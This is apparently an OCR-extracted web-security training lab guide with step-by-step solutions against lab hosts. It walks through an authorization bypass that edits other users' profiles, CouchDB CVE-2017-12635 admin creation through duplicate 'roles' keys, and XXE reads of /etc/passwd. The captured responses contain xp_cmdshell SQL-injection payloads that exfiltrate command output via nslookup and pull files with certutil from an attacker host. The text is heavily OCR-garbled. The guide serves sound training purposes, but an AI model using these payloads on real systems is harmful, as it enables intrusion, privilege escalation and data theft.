GET /api/user?email=john@webhacklab.com HTTP/1.1

Host: topup.webhacklab.com n\
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/Account/Profile

Authorization: Bearer

eyJ0eXAi0iJRV1IQiLCIThbGciOiJIUZIINiIJY .eyJlbmlxdWVEbmFtZSI6ImpvaG5Ad2viaGFja2xhYi5jb20iLCI1bWFpbCI6T [ﬁ

mpvaG5Ad2vViaGFja2xhYi5jb20iLCIpe3Mi0iJodHRwOi18vd2ViaGFja2xhYi5jb20vIiwiZXhwIjoxNTIzMjczNTA4LCTJuyYm
YiOjEIMJjIwNjM5MDh9.52I4CzzJ70itu-F6dA-23bibexDsCUri85gqVA92MrBY
X-Requested-With: XMLHttpRegquest

A v

Mfannacrtinnes ~lnaca

? J < + > Type a search term 0 matches

Response
J RawT Headers T Hex TJSON Beautifier ]
HTTP/1.1 200 OK 2
Cache-Control: no-cache -
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 26 Mar 2018 12:43:31 GMT
Connection: close
Content-Length: 420
{"id":"7c6cO0cfa-edcf-450e-bdef-5d522fbc50e9", "userName" : "john@webhacklab.com”, "email"” : "john@webhac
klab.com”, "name":"John", "phoneNumber":"222222222" ,"isAdmin" :false, "profileImage”:"7c6cO0cfa-edcf-4
50e-bdef-5d522fbc50e9.JPG", "passwordQuestion”:" ' ;exec master..xp_cmdshell \"cmd.exe /c
whoami.exe > command.txt && certutil -f -encode command.txt encoded.txt && for /F %a in -
(encoded.txt) do nslookup %a 192.168.200.21\" --"} v
Page: | 37
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Step 2: Remove the “email” parameter from the request and fetch the list of other users.

/ Go ‘ Cancel < |v ‘ > | | Target: http://topup.webhacklab.com E“J U

Request

J Raw T Headers T Hex ]

GET /api/user HTTP/1.1 A
Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 H\
Accept: */*

Accept-Language: en-0S,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/Account/Profile

Authorization: Bearer

eyJ0eXAi0iJRV1IQiLCIThbGciOiJIUZIINLIJY .eyJ1lbmlxdWVEbmFtZSI6ImpvaG5bAd2vViaGFja2xhYi5jb20iLCI1bWFpbCI6T
mpvaG5Ad2vViaGFja2xhYi5jb20iLCIpc3MiOiJodHRwO0i8vd2ViaGFja2xhY¥i5jb20vIiwiZXhwIjoxNTIzMjczNTA4LCIJuYm
YiOJEIMjIwNjM5MDh9 .5Z2I4Cz2J70itu-F6dA-23bibexDsCUri85qVA92MrBY

X-Requested-With: XMLHttpRequest

Connection: close

v

{f;q (i:}[_:_]t > ] Type a search term 0 matches

Response

J Raw T Headers T Hex TJSON Beautifier ]

nshu@webhacklab.com”, "name" : "Sudhanshu”, "phoneNumber " : "555555555", "isAdmin" :false, "profileImage”: A
"sunil.png", "passwordQuestion”:"What was your favorite sport in high
school?"},{"id":"0£9613ec-40bl-44dd-a668-85aecale7f44", "userName": "sunil@webhacklab.com”, "email”

"sunil@webhacklab.com”, "name":"Sunil", "phoneNumber":"222222222","isAdmin" :false, "profileImage”:"s

unil.png”, "passwordQuestion”:"';exec master..xp_cmdshell 'certutil -urlcache -split -f
http://kali.notsosecure.com:8002/test.png’

-="},{"id":"7cb6cOcfa-edcf-450e-bdef-5d522fbc50e9", "userName" : "john@webhacklab.com”, "email":"john@

webhacklab.com”, "name" : "John", "phoneNumber " :"222222222","isAdmin" : false, "profileImage”:"7c6cOcfa-

edcf-450e-b4ef-5d522fbc50e9.JPG", "passwordQuestion”:"';exec master..xp_cmdshell \"cmd.exe /c
whoami.exe > command.txt && certutil -f -encode command.txt encoded.txt && for /F %a in
(encoded.txt) do nslookup %a 192.168.200.21\"

--"},{"1d":"8¢c448aed-378f-4b65-be74-b3e07ece9066", "userName" : "sudhanshuchauhan0007@gmail.com"”", "em

ail”:"sudhanshuchauhan0007@gmail.com”, "name" :null, "phoneNumber " :null, "isAdmin":false, "profileImag
e":null, "passwordQuestion":"Secret
Question”"},{"id":"Y¥61253ec-40bl-44dd-a668-85ahcalel542", "userName" : "anant@webhacklab.com”, "email”

: "anant@webhacklab.com”, "name" : "Anant ", "phoneNumber":"1111111111", "isAdmin":false, "profileImage”:

"anant .pna" . "passwordQuestion”:"What time of the dav were vou born?"}1 Y

Step 3: Using the ‘email’ of the user ‘anant’ fetch the user details.

GCo . Cancel [ <|» I > |
Request

J RawT Params T Headers T Hex ]

GET /api/user?email=anant@webhacklab.com] HITP/1.1

Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101
Firefox/56.0

Accept: */%*

Accept-Language: en-05,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/Account/Profile

Authorization: Bearer
eyJ0eXhi0iJEVIQiLCThbGeiOiJIU=T1INiJ9.eyIJ1lbmlxdWVEbmFtZS5I6ImpvaGsAd2ViaGFja2xhYi5sjb20i
LCI1bWEpbCI6ImpvaGhad2vViaGFja2xhYi5sjb20iLCIpe3MiOiJodHRwOi8vd2ViaGFja2xhYibjb20vIiwi
ZEZhwIjoxNTIzZMDExNzQ5LCJuYmYiQOjELIMJjE4AMDIXND1Y .¥PerT7/F-NTPigvliXgqw2LsDF1EtO6-asiTD7dHh
iLrQ

X-Requested-With: XMLHttpRequest

Connection: close

Ty
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Target: http://topup.webhacklab.com &J EJ

Response

J RawT Headers T Hex T]SON Beautifier ]

BTTP/1.1 200 OFK

Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-IIS/8.5
X-Asplet-Version: 4.0.30319
X-Powered-By: ASP.HET

Date: Fri, 23 Mar 2018 13:09:53 GMT
Connection: close

Content-Length: 252

Ty

{"id":"Y¥61253ec-40bl-44dd-a668-85ahcalel542", "userName"” : "anant@webhacklab.com”, "emai
1":"anant@webhacklab.com”, "name" : "Anant ", "phonelumber":"1111111111","isAdmin":false,
"profileImage”:"anant.png”, "passwordQuestion”:"What time of the day were you born?"}

Step 4: Change the HTTP request method in Step 1 to PUT and inject the response body identified
in Step 3 in this request and add the header ‘Content-Type: application/json’. And replace the

'‘phoneNumber’ parameter value.

(oo J cancer | [<iv ][ > Target: http:/ /topup.webhacklab.com (#| (2]

Request

J RawT Params T Headers T Hex TJSON Beautifier ]

PUT |/api/user HTTP/1l.1
ost: topup.webhacklab.com ﬁ\
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accepts: */*
Accept-Language: eh-05,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://topup.webhacklab.com/Account/Profile
Authorization: Bearer

eyJ0eXAi0iJRVIQiLCIThbGeci0iJIUZIINiLiTY .eyTlbmlxdWVEbmFtZSI6ImpvaGbid2vViaGFja2xhYi5jb20iLCI1bWEFPbCI6T
mpvaGhad2ViaGFja2xhY¥i5jb20iLCIpe3MiQiJodHRw0i8vd2ViaGFja2xhYiSsjb20vIiwiZXhwIjoxNTIzMjczNTA4LCTuYm
YiO0JEIMjIwNjM5MDhY .52T14Cz2=J70itu-F6dA-23bi6exDsCUri85gqVA92MrBY

— el 1 . t

ontent-Type: application/json
Connection: close
Content-Length: 252

{"id":"Y61253ec-40bl-44dd-a658-853

h a
"phonelumber™:"99999995%99"

hacklab.com”, "name"” : "Anant ", "isAdmin":false, "profileImage”:"anant.png”

; "passwordQuestion”: "What time © e day were you born?"} v
[ ? Jl < J[ + J[ > J Type a search term 0 matches
Response

J RawT Headers T Hex ]

Content-Type: application/json; charset=utf-8

A

Expires: -1

Server: Microsoft-IIS/8.5

X-Asplet-Version: 4.0.30319

X-Powered-By: ASP.MET

Date: Mon, 26 Mar 2018 13:01:06 GMT

Connection: close

Content-Length: 57

I'User account anant@webhacklab.com updated successfully. "l %
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Step 5: The application will update the details of the user “anant@webhacklab.com” without
validating the authorization, as shown below. Similarly update the details of the user
“aabuserX@webhacklab.com”:

Go | Cancel < | [ > Target: http://topup.webhacklab.com @ EJ

Request

_[ RawT Headers T Hex ]

GET /api/user HTTP/1.1 3
Host: topup.webhacklab.com n\
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*

Accept-Language: en-0S,en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/Account/Profile
Authorization: Bearer

eyJ0eXAiOiJRVI1IQiLCIhbGciOiJIUZIINiIIS.eyJlbmlxdWVEbmFtZSI6ImpvaG5Ad2vViaGFja2xhYi5jb20iLCI1bWFpbCI6T
mpvaG5Ad2vViaGFja2xhYi5jb20iLCIpec3MiOiJodHRwOi8vd2ViaGFja2xhYi5jb20vIiwiZXhwIjoxNTIzMjczNTA4LCIJuYm
YiOjJEIMjIwNjM5MDhY .5Z2TI4C22J70itu-F6dA-23bi6bexDsCUri85gqVA92MrBY

X-Requested-With: XMLHttpRequest

Connection: close

v
[ ? J{ < ][ + J[ > J Type a search term 0 matches
Response
J Raw T Headers T Hex TJSON Beautifier ]
"sunil.png", "passwordQuestion":"What was your favorite sport in high A
school?"},{"1id":"0£9613ec-40bl-44dd-a668-85aecale7£f44", "userName": "sunil@webhacklab.com”, "email":
"sunil@webhacklab.com”, "name" :"Sunil”, "phoneNumber":"222222222","isAdmin" :false, "profileImage”:"s
unil.png", "passwordQuestion”:"';exec master..xp_cmdshell 'certutil -urlcache -split -f
http://kali.notsosecure.com:8002/test.png’
—="},{"id" :"7cbcOcfa-edcf-450e-bdef-5d522fbc50e9", "userName" : "john@webhacklab.com”, "email” : "john@
webhacklab.com”, "name"” : "John", "phoneNumber":"222222222", "isAdmin" :false, "profileImage”:"7c6cOcfa-
edcf-450e-bdef-5d522fbc50e9.JPG", "passwordQuestion”:" ' ;exec master..xp_cmdshell \"cmd.exe /¢
whoami.exe > command.txt && certutil -f -encode command.txt encoded.txt && for /F %a in
(encoded.txt) do nslookup %a 192.168.200.21\"
—="},{"id":"8c448aed-378f-4b65-be74-b3e07ece9066", "userName" : "sudhanshuchauhan0007@gmail.com”, "em
ail":"sudhanshuchauhan0007@gmail.com”, "name" :null, "phoneNumber " :null, "isAdmin":false, "profileImag
e":null, "passwordQuestion”:"Secret
Question”"},{"id":"Y61253ec-40bl-44dd-a6§8=850ahcalelbnd2 " "userlame"”:"anant@webhacklab.com”, "email”
:"anant@webhacklab.com”, "name" : "Anant ", phonelumber":"9999999999"} "isAdmin" :false, "profileImage”: ‘/
"anant .png", "passwordQuestion”:"What timé © € day were you born?"}] - |
P !
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HTTP Parameter Pollution (HPP)

Challenge URL: http://misc.webhacklab.com:5984/ utils/
e Create a new user (userX) with “admin” role in the CouchDB instance.
Solution:

Step 1: Navigate to the application on the port 5984 on “_utils” directory and notice that it is
CouchDB login portal. From the server response header, we can find that the CouchDB version is
2.1.0:

A | € © & | misc.webhacklab.com:5984/ utils/#login |

W NotSoSecure @ Health Check @ Shopping Portal | Topup Websit]

Log In to CouchDB

Enter your username and password.

Step 2: A quick google search reveals that this version is vulnerable to ‘CVE-2017-12635’ allowing
non-admin users to give themselves admin privileges:

QUICK INFO

Current Description

CVE Dictionary Entry: CVE-2017-12635

Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to Original release date: 11/14/2017
submit _users documents with duplicate keys for 'roles’ used for access control within the database, including the special case '_admin' role, that denotes Last revised: 02/03/2018
istrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell Source: US-CERT/NIST

commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the
second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By
design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.

Source: MITRE Last Modified: 11/14/2017 < View Analysis Description

Impact
CVSS Severity (version 3.0): CVSS Severity (version 2.0):
CVSS v3 Base Score: 9.8 Critical CVSS v2 Base Score: 10.0 HIGH
Vector: CVSS:3.0/AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:H/A:H (legend) Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C) (legend)
Impact Score: 5.9 Impact Subscore: 10.0
Exploitability Score: 3.9 Exploitability Subscore: 10.0
CVSS Version 3 Metrics: CVSS Version 2 Metrics:
Attack Vector (AV): Network Access Vector: Network exploitable
Attack Complexity (AC): Low Access Complexity: Low
Privileges Required (PR): None Authentication: Not required to exploit
User Interaction (Ul): None Impact Type: Allows unauthorized disclosure of information; Allows unau
Scope (S): Unchanged Allows disruption of service

Confidentiality (C): High
Integrity (1): High
Availability (A): High
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Step 3: Based on the information available at
https://qgithub.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635 craft a user creation
(role:admin) request:

PUT /_users/org.couchdb.user:new_adminX HTTP/1.1
Host: misc.webhacklab.com:5984

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)

Connection: close
Content-Type: application/json
Content-Length: 114

{
"type": "user",
"name": "new_adminX",
"roles": [" _admin"],
"password”: "new_adminX"
}
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Step 4: The requests fail as the application does not allow to directly create another admin:

m Cancel |{ "'|

Target: http:/fmisc.webhacklab.com:5984 ﬁ

O 00 ~] N I ) B

Request

Pretty JRENJ \n Actions v
1 PUT / users/org.couchdb.user:new _admin85 HTTR/1.1

Host: misc.webhacklab.com:5584
Accept: */%
Accept-Language: en

Select extension... “

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT &.1; Wing4; x64; Trident/5.0)

Connection: close
Content-Type: application/json

Content-Length: S8
]

14
1]
13
13
14
13

i
"type": "user",
"name": "new_adming8S",
“roles": [" admin"],
"password": "new_admings"

el VI ) R0 ) I N WV N ]

@

Response

I3
@ |E”E| | Search

0 matches

Pretty IREINN Fender \n Actions v
1 HTTP/1.1 403 Forbidden

X-CouchDB-Body-Time: ©
X-Couch-Request-ID: c4961ffffo
Server: CouchDB/2.1.0 (Erlang OTP/18)
Date: Thu, 22 Jul 2021 13:36:54 GMT
Content-Type: application/json
Content-Length: 59

Connection: close

Cache-Control: must-revalidate

Select extension...

=
=

{*error":"forbidden", "reason":"Only _admin may set roles"}

NotSoSecure part of
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Step 5: Craft another request with HPP we have used new_admin as an example please use userX

to do the exercise.:

PUT /_users/org.couchdb.user:new_adminX HTTP/1.1
Host: misc.webhacklab.com:5984

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)

Connection: close
Content-Type: application/json
Content-Length: 114

"type": "user",

"name": "new_adminX",
"roles": ["_admin"],
"roles": [],

"password": "new_adminX"
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Step 6: The response shows that the user has been created. Similarly create a user “userX”.

000~

10
11
12
13
14
15
15

s k=

Lo Ul i RN ) ]

1
11
1

m Cancel |{ "'| Target: http://misc.webhacklab.com:5984 f
L] ] ||

Request [

Pretty n  Actions v Select extension...

1 PUT /_users/org.couchdb.user:new_admings HTTP/1.1

2 Host: misc.webhacklab.com:5584

3 Accept: */*

4 Accept-lLanguage: en

S User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Wing4; x64; Trident/5.0)

Connection: close
Content-Type: application/json
Content-Length: 113

{
"type": "user",
"name": "new_admings",
"roles": ["_admin"],
"roles": [1,
"password": "new_adminss"

©)

Response

}
@ |E”E| ‘ Search 0 matches

Pretty JiENR Render \n Actions v Select extension...

HTTP/1.1 201 Created

¥-CouchDB-Body-Time: O

¥-Couch-Request-ID: bdsdf78ebs

Server: CouchDB/2.1.0 (Erlang OTP/18)
Location: http://misc.webhacklab.com:5984/ users/org.couchdb.user:new _admings
ETag: "1-14dddccds324793505009563419F9cE8"
Date: Thu, 22 Jul 2021 13:40:32 GMT
Content-Type: application/json
Content-Length: 91

Connection: close

Cache-Control: must-revalidate

14

13[{"0k":true,"id":"org.couchdb.user:new_admin85","reu":"1—14dddccd8324?935056b9563419f9c68"}I
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Step 7: Now login with the newly created admin user, as shown below:

@

/ @ Project Fauxton X \

e C ) | ® misc.webhacklab.com:5984/ utils/# or Y
' Apps (@ Debian.org @ Latest News (@ Help

Replication Databases @, Create Database | { A
Documentation i ~
Name Size # of Docs Actions
Q Verify o o
gglobal_change 19 KB 2 ey
8 Your Account ]
: s &
_replicator 2.3 KB 1
T}
CouchDB
as &
HeR S A _users 8.1 KB 15
EE 1}
Log Out new_adminil Showing 1-4 of 4 databases.
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Module: XML External Entity

(XXE) Attacks

XML External Entity (XXE)

Challenge URL: http://hc.webhacklab.com/

¢ Identify and exploit XXE to extract the contents of the file “/etc/passwd”.

Solution:

Step 1: A health check reporter service is hosted on http://hc.webhacklab.com/ as shown below.

il hcwebhacklab.com

Hello !

Welcome to HealthCheck Reporter ! .

Version 2

Send a POST Request to
http://hc.webhacklab.com/vZ,/api/status
Content-Type: application/json

{

"Cbject™: {
"Ip": "1p0.1.1.1",
"Domain™: "test.com"
}
}
Version 1

Send a POST Request to
http://he.webhacklab.com/vl/api/status
Content-Type: application/xml

<?xml wversion="1.0" encoding="IS0-5859-1"7>
<Cbject>
<IP>10.1.1.1</IP>
<Domain>test.com</Domains>
</0bject>
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Step 2: Let’s try to access the ‘Version 1’ of the status APl which consumes an XML file as shown
below.

http://hc.webhacklab.com/vl/api/status

Request Response
J RawT Params T Headers T Hex TXML ] J RawT Headers T Hex 1
POST /vl/apifstatusIHTTPfl.l |l HTTP/1.1 Z00 O
Host: he.wsbhacklab.com i Server: nginx/1l.10.3 (Ubuntu)
User—Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =&4; Date: Mon, l& Apr 2018 04:5Z2:55 GMT
rv:48.0) Gecko/Z0100L01 Firefox/48.0 Content-Type: text/html;charset=UTF-8
Content-Type: application/xzml Connection: close
hecept: Content-Length: 51
text/html, application/xhtml+xml, application/®xml;q=0.9, */

*rq=0.8 IP 10.1.1.1 is Inactive
Accept-Language: en-Us,en;q=0.5 Domain test.com is Inactive
becept-Encoding: gzip, deflats
Cookie: JSESSTIONID=FS57DeeF4ESSIFEADFACEASSIZEECZE0D
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 117

?¥ml wversion="1.0" encoding="UTF-3"7>
Chiect>
<Domain=test.com</Domain>
<IP>10.1.1.1</IP> K
JObject>
i
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Step 3: This feature can be exploited to retrieve “/etc/passwd” file by sending the below XML data in

the POST request as shown below:

<?xml version="1.0" encoding="IS0-8859-1"?>
<IDOCTYPE foo [

<!ELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >]>

<Object>
<IP>&xxe;</IP>
<Domain>test.com</Domain>
</0Object>
FOST /wl/fapi/status HTTF/1.1 |l HTTF/Ll.l1 200 OK
Host: ho.webhacklab.com Server: nginx/1.10.3 (Ubuntu)
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x64; Date: Wed, Ll Apr Z0L1E LlI:10:0& GMT
rv:48.0) Gecko/2Z0l001l01l Firefox/45.0 Content-Type: text/html;charset=UTF-8
Content-Type: application/xml I Connection: close
Lecept: Content-Length: 1E53
text/html, application/zhtml+xml, application/xml;q=0.9, %/ * ;=
0.a IP root:x:0:0:root:froot: /bin/bash
Accept-Language: en-US,en:;g=0.5 daemon:x:1:1:daemon: fusr/sbhin: fusr/shin/nologin
Accept-Encoding: gzip, deflate bin:x:2:2:bin: /bin: fusr/shin/nologin
Cookie: J3ESSICNID=FS7DEEF4ESSIFESADFAZEASSIZEECIEOD sys:x:3:3:sys: /dev: fusr/sbin/nologin
Connection: close sync:x:4:65534 :sync: /bin: fbinfsync
Upgrade-Insecure-Recquests: L games:x:5:60: games : fusrfgames: fusr/shin/nologin
Cache-Control: max-age=0 man :x:6:12:man: fvarfcache fman: fusr/shinfnologin
Content-Length: 190 Np:x:7:7:1p: fvarfspoolflpd: fusr/sbhin/nologin
mail:x:8:8:mail: fvar/mail: fusr/sbhinfnologin
?xml version="1.0" encoding="UTF-2"2> mews:x:9:9:news: fvar/spool/news: fusr/shinfnologi
'DOCTYPE foo [ uucp :x:10:10:uucp : /var fspool/uucp: fusrfshin/nolo
IELEMENT foo ANY > PYORY TR TIST IS BT oY /B IN T/ UET/SBIN/IoIogIn
'ENTITY mxe SYSTEM "file:///etc/passwd" =]> www-data:x:33:33:www-data: fvar fwww: fusr/sbhin/nold
Chiect> backup:x:34:34:backup: fvar/backups: fusr/shin/nold
<IPr&xxe; </ IP> list:x:38:38:Mailing List Manager: /varflist: fusr|
<Domainrtest.com</Domain> t) irc:x:39:39:ircd: fvar/runfircd: fusr/shin/nologin
JObject> |!’ gnats:x:41:41:6nats Bug-Reporting System (admin)
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Advanced XXE Exploitation over OOB

Challenge URL: http://hc.webhacklab.com/

e Identify and exploit blind XXE over OOB channels on the API v2 to extract the

contents of the file “/etc/passwd” from the host.
Solution:

Step 1: The version 2 of the Status Check API accepts JSON strings as an input.

http://hc.webhacklab.com/v2/api/status

POST /v:/api/statuslHTTP/l.l : HTTF/1.1 Z0O0 OK
Host: heo.webhacklab.com Server: ngink/Ll.10.3 (Ubuntu)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined4: xE€4: Date: Wed, 11 Apr Z018 1Z:10:12 GMT
rv:48.0) Gecko/20100101 Firefox/48.0 Content-Type: text/html;charset=UTF-8
qCUntent—Type: application/jsonl Connection: close
Locept: Content-Length: 31
text/html, application/xhtml+xml, application/xml;gq=0.9, */*
;q=0.8 IP is Active
Aecept-Language: en-U3,en;q=0.5 Domain is Activs
Aocept-Encoding: gzip, deflate
Cookie: JSESSICHNID=FS57DEEF4ESEIFEADFACEABSIZIEECIE0D
Connection: close
Upgrade—Insecure-Eequests: 1
Cache-Control: max-ages=0
Content-Length: 73
i
"Chijsct™: {
"IPM": M"MiO.Ll.1.1',
"Domain™: "testc.com"”
}
i
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Step 2: Let’s check if this new APl accepts XML as an input too by converting content type JSON to

XML.

POST /vzl/api/status HTTP/L.1

Host: ho.wesbhacklab.com

User—Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; xe4:
rv:48.0) Gecko/2Z0Ll00101 Firefox/48.0

Content-Type: applicat.ionf’xmll

Aocept:

text/html, application/=xhtml+xml, application/xml; q=0.9, */ *;q=
0.8

Aocept-Language: en-U3, en;qg=0.5

Aocept-Encoding: gzip, deflate

Cookie: JSESSICONID=FS7DEcF4ESSIFEADFAZEASS3IZEECZIE0D
Connection: closes

Upgrade-Insscure-FRequests: 1

Cache-Control: max-age=0

Content-Length: 107

<?xml version="1.0" encoding="UTF-5"72>
<Chject>
<IP>10.1.1.1</1IP>
<Domain>test.com<,/Domain>
</Chijsct>

i HTTF/1.1 200 OK

Serwver: nginx/Ll.10.3 (Ubuntu)

Date: Wed, 11 Apr 2018 1Z:20:03 GHMT
Content-Type: text/html;charset=UTF-&
Connection: close

Content-Length: 35

IF is Inactive

Domain is Inactive

Step 3: Let’s try to convert using JSON to XML Converter extension - “Content Type Converter”:

https://portswigger.net/bappstore/db57ecbe2cb7446292a94aa6181¢c9278

Go Cancel < v > .

Request

J Raw T Params I Headers | Hex

08T fwi/api/fstatus HTTP/1.1

ost: ho.webhacklab. com
User-Agent: Mozilla/5.0 (Windeows NT &.3; Wineg4: x|
rv:59.0) Gecko/Z01l00101 Firefox/55.0
Accept:

Do an active scan
Do a passive scan
Send to Intruder

Send to Repeater

Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser
Reguest in browser

Send to NSmap

| converttoxuL

Convert to JSON

text/htnl ,application/xhtunltxnl, application/xml;q=
A*iq=0.8
Accept-Language: en-US, en;g=0_5

Aocept-Encodin gqeip, deflate

ontent -Typ
Cookie: JSESSIONID=AACEF1FAFE3SFEBRBZTACZ4D0LSFO4E45
Commection: close

application/json Engagement tools

Change request method
Change body encoding
Copy URL

Copy as curl command

Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 73

Copy to file
{ Paste from file
"Ohject": | Save item
“IP": "10.1.1.1", Save entire history

"Domain": "test. com"

Paste URL as reguest
Add to site map

=

1EHE

Ready

I Target: http:i/hc.webhacklab.com l k4 LiJ
Ctrl+l
Ctri+R W
'y
3 (Thuntu) 1
0l2 1l:0&:159 CMT
Ihitml ;charset=UTF-8
>
>
| 3
e
v
£l 0 matches
CirleV 200 bytes | 521 millis
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Step 4: Alternatively, copy the following XML code to Burp repeater and observe that XML request

works very well:

<Object>
<IP>10.1.1.1</IP>

</Object>

<?xml version="1.0" encoding="IS0-8859-1"?>

<Domain>test.com</Domain>

Go Cancel < v >

Request

J Raw T Params ]' Headers | Hex | XML

Target: http:ihc.webhacklab.com IﬁJ

Response

Raw | Headers | Hex

-3 |

08T /wl/api/status HITP/l.1
ost: ho.webhacklab._ com

rv:59.0) Gecko/Z01l00101 Firefox/59.0
Acoept:

A*ig=0.8
Accept-Lancuage: en-US, en;g=0_5
Accept—Encoding: gzip deflate

ontent-Type: application/uml

Comnection: close
Tpgrade-Insecure—Recuests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 124

text/htwnl,application/xhtmltxnl, application/xwl ;q=0.59,*

Cockie: JEESSIONID=AACSFIFAFOILFEESITBI4D0LOFO4E452

'y HTTF/1.1 200 0K

Server: nginx/l.10.3 (Ubuntu)

User-Agent: Mozillas5.0 (Windows NT £.3; Winéd; =x&64; Date: Mon, l& Apr 2018 11:0&:51 GHMT

Content-Type: text/html;charset=UTF-8
Connection: close
Content-Length: 21

IPF i= Active
Domain is Active

<7xml wersion="1.0" encoding="I530-8855-1"7%
<0bhject>

<IP=10.1.1. 1</ID=

<Domain*test. con</Domain>
</ 0bject>

=
|

? < + = Type & search term

0 matches ? < l;J [LJ Type & search term

Y

=
v

0 matches
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Step 5: Let us try to retrieve the file using our previous XML payload to read “/etc/passwd” file.

However as shown in the response below, no matter what we send to the application the application

throws the same output. Hence, we cannot read the “/etc/passwd” file directly.

<!DOCTYPE foo [
<!ELEMENT foo ANY >

<Object>

<IP>&xxe;</IP>
<Domain>test.com</Domain>
</Object>

<?xml version="1.0" encoding="IS0-8859-1"?>

<IENTITY xxe SYSTEM "file:///etc/passwd" >]>

Go Cancel < v > v

Request

Raw T Params ]' Headers | Hex | XML

Response

Raw

Target: http:/ihc.webhacklab.com Lﬁ’J EJ

Headers | Hex

03T Jvifapifstatus HTTP/1.1
ost: he. webhacklab.con
Hozilla/5.0 (Windows NT &.3; Wingd4;
rv:55.0) Gecko /20100101 Firefox/55.0

Accept:

User-Agent: x64;

text/html, application/xhtml+xml , application/xml ;q=0_5,6*
f*iq=0.8
Accept-Lancuage: en-US, en;qgq=0.5

Accept—Encoding: gzip, deflate
S

application/zml I
JEESSIONID=AACBF1FAFE35FEERCT824D015F04E453
Connection:

Content-Type:

Cookie:
close
Tpgrade-Insecure—-Eequests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: Z07

Txml version="l1.0"
'DOCTYPE foo [
'ELEMENT foo ANYT =
!ENTITYIxxe SYSTEM "file:///eto/passwd" >]>|
Ohiject>

<Domain>test com</Domain>

encoding="I50-8855-1"7>

SObject>

z < + = Type & search term

HTTP/1
Server
Date:

Content-Type:
Connec

Content-Length: 31

.1 200 0K

: nginx/1.10.3 (Ubuntu)

Mon, 16 Apr 2018 11:08:45 GHMT
text/htnl;charsec=UTF-8
close

S

tion:

Ir is

Domain

Actiwve

is Active

v

0 matches

Z < + = Type & search term

0 matches
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Step 6: In case of utilizing an OOB technique the best way to confirm whether our payload is getting

executed or not is through DNS queries. For the below payload we expect to get DNS queries on

our authoritative DNS server hosted on “userX.webhacklab.com” as shown below.

<?xml version="1.0" encoding="IS0-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<IENTITY xxe SYSTEM "http://abcd.userX.webhacklab.com" >]>

Accept-Encoding: gzip. deflate

Connection: close
Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Centrol: no-cache

Content-Length: 289

Content-Type: application/xml;charset=UTF-8

=?xml version="1.0" encoding="I50-8859-1"7=
=1DOCTYPE foo [
<1ELEMENT foo ANY =
<1ENTITY xxe SYSTEM "http://abcd.user7.webhacklab.com" =]=
=0hbject= —
=IP=&xxe;</IP=
=Domain=test.com=/Domain=
=/0bject=

<Object>
<IP>&xxe;</IP>
<Domain>test.com</Domain>
</Object>
Request Response
J Raw T Params T Headers T Hex IXML ] j Raw T Headers T Hex ]
POST /w2/api/status HTTP/1.1 A HTTP/1.1 288 OK
Host: hc.webhacklab.com - Server: nginx/1.10.3 (Ubuntu)
User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Date: Mon, 16 Apr 2018 20:12:03 GMT
Firefox/52.0 Content-Type: text/html;charset=UTF-8
Accept: text/html,applicatien/xhtml+xml,application/xml;q=0.9,%,/%;0=0.8 Connection: close
Accept-Language: en-US,en;g=08.5 Content-Length: 39

Cookie: JSESSIONID=0AFS493BD2CEE86CEI566Z0AFBILTEBED Woooops some pretty bad error occured

Step 7: As can be seen in our “TCPDump” log we received a DNS resolution query from our victim

host for the domain “userX.webhacklab.com” in our case “user7.webhacklab.com” confirming the

OOB execution of our XML payload.

root@Kali:~# tcpdump -n udp port 53 -i any

